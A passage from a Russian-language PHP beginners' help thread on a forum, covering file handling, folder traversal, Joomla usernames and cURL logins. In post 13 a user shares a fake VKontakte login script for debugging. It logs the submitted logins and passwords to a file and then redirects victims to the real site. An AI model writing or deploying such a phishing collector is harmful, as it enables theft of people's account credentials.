[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    heretic1990,считываешь file() и затем циклом записываешь в новый файл комбинацию.Или сам код написать надо?
     
  2. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    мне пример скрипта надо!
     
  3. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    PHP:
    <?php
    $file
    =file('file.txt');
    $fp=fopen("newfile.txt","w+"); 
    for(
    $i=0;$i<count($file);$i++)
    {
    $md5=md5($file[$i]);
    fputs($fp,"$file[$i];$md5\n"); 
    }
    fclose($fp); 
    ?>  
    Вроде этого.(Не тестил)
     
    #9623 fatalo, 14 Apr 2009
    Last edited: 14 Apr 2009
  4. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    <?php
    foreach (file('a.txt') as $pwd) $arr[] = trim($pwd).';'.md5(trim($pwd));
    fwrite(fopen('a.txt','w'),implode("\n",$arr));
    ?>
     
    1 person likes this.
  5. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    159932, то что надо, а fatalo, твой скрипт почему-то всё с новой строки записывает.
    всем спасибо за внимание. всем плюсы)))
     
  6. WebGer

    WebGer New Member

    Joined:
    30 Nov 2008
    Messages:
    3
    Likes Received:
    2
    Reputations:
    0
    Ситуация такая.
    На диске в каждой папке есть несколько под-под-папок.
    В кажной из них лежит файл с одинаковым названием.
    Нужно в цикле обойти все папки, и вытащить данные:
    1. Название подпапки
    2. Содержание этого файла.

    я делал это на Delphi, но сейчас надо на php...
    подскажите плиз как это можно сделать.
     
  7. kevmen

    kevmen Member

    Joined:
    29 Oct 2008
    Messages:
    147
    Likes Received:
    23
    Reputations:
    0
    Здравствуйте,нужно получить имя пользователя в joomla,в документации написано
    Надеюсь на вашу помощь
     
  8. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    какбэ непонятно что ты хочешь
    получить имя юзера под которым ты залогинен - $my->username
    какого то определённого юзера - select username from jos_users
    для какой цели тебе это нужно?
     
  9. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    судя по документации - имя залогиненого юзера
    я конечно пшп не знаю и двиг джумлы не изучал, но наверно переменная $mu->username получит данные из бд jos_users в случае если пользователь зашёл в систему
    echo $my->username не катит?
    сори , немного пьян мб не понимаю чего
     
  10. kevmen

    kevmen Member

    Joined:
    29 Oct 2008
    Messages:
    147
    Likes Received:
    23
    Reputations:
    0
    Нужно получить имя|логин юзера,который залогинен в данный момент
     
  11. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    echo $my->username ? =\
     
  12. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    посмотри как это реализовано в джумле
    там же после залогинивания в левом фрейме написано что то типа Welcome, %username%
     
  13. ZnikiR

    ZnikiR Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    21
    Reputations:
    -5
    Не могу понять в чем проблема пишу скрипт фека!

    PHP:
    <?PHP if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $login $_POST['login']; // Логин
    $pass $_POST['passwd']; // Пароль
    $today date("m.d.y");
    $hour date("H:i:s");
    $u  strtolower($login)
    //vkontakte.ru/blank.php?code=10if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
    if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
                echo 
    "http://***.com/login.html";$err "yes";
                }
                if (!
    ctype_alnum($pw) || strlen($pw) < || strlen($pw) > 20) {
                echo 
    "http://***.com/login.html";
                
    $err "yes";
            }if (
    $err == "") { 
                
    $log fopen("base.php","a+"); //открываем файл базы
    fwrite($log,$login:$pass\\\\\\$today\\$hour \n"); //записываем всё
    fclose($log); //закрываем

    echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/'></head></html>"// куда пошлем пользователя после того как он ввел данные!
    }       }
    ?>
     
  14. bxN5

    bxN5 Elder - Старейшина

    Joined:
    8 Jan 2006
    Messages:
    687
    Likes Received:
    138
    Reputations:
    32
    для 1.5
    $user =& JFactory::getUser();
    $user->get('username')
     
  15. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Способ дебильный, но примерно так:

    PHP:
    <pre>
    <?php 
    @set_time_limit(0); 
    @
    ini_set("display_errors","1"); 

    // Полный абсолютный путь до директории, в конце слеш не нужен 
    $path '/home/www/bla-bla/http/s1';
    $filename 'logfile.txt';
     
    function 
    fold($rootDir$allData=array()) {
        
    $invisibleFileNames = array(".""..");
        
    $dirContent scandir($rootDir);
        foreach(
    $dirContent as $key => $content) {
            
    $path $rootDir.'/'.$content;
            if(!
    in_array($content$invisibleFileNames)) {
                if(
    is_file($path) && is_readable($path)) {
                    
    preg_match('|\/(.*)\/|',$path,$res);
                    
    $allData[] = $res[0];
                }elseif(
    is_dir($path) && is_readable($path)) {
                    
    $allData fold($path$allData);
                }
            }
        }
        return 
    $allData;
    }

    $folders fold($path);
    $count count($folders);
    for (
    $i=0;$i<$count;$i++) {
      
    $handle fopen($folders[$i] . $filename"r"); 
      
    $s fread($handlefilesize($folders[$i] . $filename)); 
      
    fclose($handle);
      echo 
    "File: " $folders[$i] . $filename "\n";
      echo 
    "Content: " $s "\n";
    }
    ?>
    </pre>
     
  16. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    PHP:
    <?php
     
     
     $http
    ="http://localhost/forum/index.php?act=Login&CODE=01";
     
     
    $curl curl_init();
     
    curl_setopt($curl,CURLOPT_URL,$http);
     

     
     
    $data 'UserName=user&PassWord=pass&x=16&y=15\r\n\r\n';
     
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
     
    curl_setopt($curl,CURLOPT_HEADER,0);
      
    curl_setopt($curlCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
    // curl_setopt($curl, CURLOPT_COOKIE,$cookie);
      
    curl_setopt($curl,CURLOPT_POST,1);
     
    curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
     
    curl_setopt($curl,CURLOPT_COOKIESESSION,1);
         
     
    //curl_setopt($curl,CURLOPT_MAXREDIRS,2);
     
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
     

        
     
    $text curl_exec($curl);

     
    curl_close($curl);
      
      echo 
    $text;
      
    ?>

    как пройти это что б сохранить данные сессии

    PHP:
     /*<a href="http://localhost/forum/index.php?amp;">Or click here if you do not wish to wait</a>

     */
     
    #9636 DTW, 15 Apr 2009
    Last edited: 15 Apr 2009
  17. XPYMGT

    XPYMGT New Member

    Joined:
    11 Apr 2009
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    ...
     
    #9637 XPYMGT, 15 Apr 2009
    Last edited: 21 Dec 2009
  18. kevmen

    kevmen Member

    Joined:
    29 Oct 2008
    Messages:
    147
    Likes Received:
    23
    Reputations:
    0
    нет,там такого нет,пробовал также,но не получилось
     
  19. kevmen

    kevmen Member

    Joined:
    29 Oct 2008
    Messages:
    147
    Likes Received:
    23
    Reputations:
    0

    Fatal error: Class 'JFactory' not found
     
  20. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    а смотрите у меня идёт HTML код
    И я хочу чтоб подгрузилась PHP страница в центре этого кода...
    Как это сделать? Если делаю require то она сверху загружается...
     
Thread Status:
Not open for further replies.